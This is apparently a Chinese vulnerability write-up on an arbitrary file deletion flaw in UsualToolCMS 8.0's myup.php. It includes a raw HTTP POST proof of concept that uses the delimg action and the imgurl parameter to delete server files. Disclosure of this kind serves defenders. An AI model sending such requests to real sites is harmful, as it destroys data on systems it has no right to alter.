UsualToolcms前台任意文件删除¶

一、漏洞简介¶

前台myup.php文件最后一段存在任意文件删除

二、漏洞影响¶

UsualToolCMS-8.0-Release

三、复现过程¶

第47行只对..精心过滤，我仍然能任意删除网站内部的文件，直接构造poc，

POST /UsualToolCMS/myup.php HTTP/1.1
Host: 0-sec.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

get=delimg&imgurl=./1.ph